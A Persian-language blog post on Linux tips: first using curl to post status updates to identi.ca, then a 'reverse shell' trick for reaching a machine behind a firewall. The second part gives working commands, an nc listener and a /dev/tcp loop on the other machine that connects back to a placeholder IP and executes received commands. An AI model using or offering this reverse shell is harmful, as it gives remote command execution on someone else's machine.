و تو چه دانی که cURL‌ چیست؟

گنو/لینوکس مجموعه‌ای از ابزارهای خیلی کوچولو اما بسیار پرقدرت است. این ابزارها به سادگی با هم ترکیب می‌شوند و نتیجه‌اش این میشه که کارهای خیلی پیچیده را می‌شه به سادگی انجام داد.
یکی از این ابزاهای خیلی خوب curl‌ است. در معرفی curl آمده: ابزاری است برای ارسال داده «از» یا «به» سرور با پروتکل‌هایی که پشتیبانی میکنه (مثلا http, https, ftp, telnet‌ و …) این ابزار به نحوی طراحی شده است که بدون نیاز به ارتباط با کاربر وظیفه‌ش را انجام بده.

یک مثال:
سایتی به نام identi.ca که یک پیاده‌سازی از ابزار StatusNet برای Microbloggin (مشابه توییتر) است به شما این اجازه را می‌ده که با استفاده از API پست خودتون را ارسال/دریافت کنید.
روش ارسال به این نحو است که باید محتوی توییت خودتون را به نشانی http://identi.ca/api/statuses/update.xml پست کنید. البته شناسه کاربری و کلمه عبور باید از طریق http authentication به سرور اعلام کنید.
برای این کار یک دستور curl کافیه:

curl http://identi.ca/api/statuses/update.xml  -u USERNAME:PASSWORD -d "status=This is a test Dent from Shell" 

به همین سادگی.
اگه دوست داشته باشید می‌تونید مثلا این دستور را با یه دستور دیگه قاطی کنید که نتیجه اون دستور را dent کنه. مثلا من یه اعلام ساعت با استفاده از دستور date درست کردم که با استفاده از cron سر هر ساعت گذشت زمان را به من یادآوری می‌کنه:

curl http://identi.ca/api/statuses/update.xml  -u USERNAME:PASSWORD -d "status=Now: `date +\"%Y-%m-%d %H:%M\"`"

خوبه نه؟

شل برعکسی! فقط برای لینوکسی‌ها!

بعضی وقت‌ها نیاز میشه که به شل یه لینوکس از راه دور دسترسی پیدا کنید. اما این شل پشت یه فایروالی، natـی، چیزی است که در عمل به شما اجازه دسترسی نمیده.

برای رفع مشکل از یه روشی میشه استفاده کرد به اسم reverse shell!

یه سری ابزار برای اینکار وجود داره اما یه راه سریع هم هست! یه دستور داریم به نام nc که خیلی مفیده! با این دستور می‌تونید یه پورت روی کامپیوتر خودتون باز کنید و هر کی بهش وصل میشه را مشاهده کنید. بعد هر چی شما بگین ارسال بشه برای اون و هرچی هم اون میفرسته شما روی مانیتور ببینید. البته این یه کاربرد این ابزاره که برای کار ما به درد می‌خوره:
روی کامپیوتر خودتون دستور زیر را اجرا کنید:

nc -l -p 8080 -vvv

بعد به دوستتون بگین که روی کامپیوتر خودش این دو تا دستور را اجرا کنه:

exec 5<>/dev/tcp/YOUR_PUBLIC_IP_ADDRESS/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

با اجرای دستور دوم توسط دوستتون شما به یه شل ساده دسترسی پیدا می‌کنید و هر دستوری که تایپ کنید ارسال می‌شه روی کامپیوتر دوستتون و اونجا اجرا می‌شه و خروجیش هم برای شما برمیگرده!
واضح است که به جای YOUR_PUBLIC_IP_ADDRESS باید آی‌پی اینترنت کامپیوتر خودتون را بزارین. که البته باید از اینترنت قابل دسترس باشد. و البته می‌تونید در هر دو طرف ۸۰۸۰ را با یه شماره پورت دیگه عوض کنید!
به همین سادگی به همین خوشمزگی! اینه قدرت لینوکس! حالا ویندوزیا خودشون را بکشند نرم‌افزار team viewer پیدا می‌کنند! 😉
البته شعار گوگل فراموش نشه! not be evil!

پ.ن.۱: این روش را اینجا خوندم
پ.ن.۲: nc در معرفی خودش می‌گه:

nc: TCP/IP swiss army knife

معنی اون هم که واضحه نه؟